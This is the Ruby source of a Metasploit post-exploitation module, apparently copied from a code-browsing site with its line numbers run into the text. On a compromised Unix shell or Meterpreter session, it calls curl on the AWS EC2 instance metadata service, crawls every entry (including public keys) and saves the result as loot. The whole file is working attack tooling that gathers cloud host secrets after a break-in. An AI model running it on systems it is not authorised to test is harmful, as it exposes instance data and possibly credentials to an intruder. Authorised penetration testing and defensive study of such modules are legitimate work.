Path: blob/master/modules/post/multi/gather/aws_ec2_instance_metadata.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6def initialize(info = {})7super(8update_info(9info,10'Name' => 'Gather AWS EC2 Instance Metadata',11'Description' => %q{12This module will attempt to connect to the AWS EC2 instance metadata service13and crawl and collect all metadata known about the session'd host.14},15'License' => MSF_LICENSE,16'Author' => [17'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module18],19# TODO: is there a way to do this on Windows?20'Platform' => %w[unix],21'SessionTypes' => %w[shell meterpreter],22'References' => [23[ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ]24],25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [],28'Reliability' => []29}30)31)3233register_advanced_options(34[35OptString.new('TARGETURI', [true, 'AWS EC2 Instance metadata URI', 'http://169.254.169.254/latest/meta-data/'])36]37)38end3940def check_aws_metadata41resp = simple_get(@target_uri)42unless resp =~ /^instance-id$/43fail_with(Failure::BadConfig, 'Session does not appear to be on an AWS EC2 instance')44end45resp46end4748def check_curl49unless cmd_exec('curl --version') =~ /^curl \d/50fail_with(Failure::BadConfig, 'curl is not installed')51end52end5354def get_aws_metadata(base_uri, base_resp)55r = {}56base_resp.split(/\r?\n/).each do |l|57new_uri = "#{base_uri}#{l}"58if l =~ %r{/$}59# handle a directory60r[l.gsub(%r{/$}, '')] = get_aws_metadata(new_uri, simple_get(new_uri))61elsif new_uri.to_s =~ %r{/public-keys/} && /^(?<key_id>\d+)=/ =~ l62# special case handling of the public-keys endpoint63new_uri = new_uri.slice(0..(new_uri.index(%r{/public-keys/}) + '/public-keys'.length))64key_uri = "#{new_uri}#{key_id}/"65key_resp = simple_get(key_uri)66r[key_id] = get_aws_metadata(key_uri, key_resp)67else68r[l] = simple_get(new_uri)69end70end71r72end7374def run75check_curl76resp = check_aws_metadata7778print_status('Gathering AWS EC2 instance metadata')79metadata = get_aws_metadata(@target_uri, resp)8081metadata_json = JSON.pretty_generate(metadata)82file = store_loot('aws.ec2.instance.metadata', 'text/json', session, metadata_json, 'aws_ec2_instance_metadata.json', 'AWS EC2 Instance Metadata')8384if datastore['VERBOSE']85vprint_good('AWS EC2 instance metadata')86print_line(metadata_json)87end88print_good("Saved AWS EC2 instance metadata to to #{file}")89end9091def setup92@target_uri ||= URI(datastore['TARGETURI'])93rescue ::URI::InvalidURIError94fail_with(Failure::BadConfig, "Invalid TARGETURI: #{datastore['TARGETURI']}")95end9697def simple_get(url)98vprint_status("Fetching #{url}")99cmd_exec("curl -s #{url}")100end101end102103104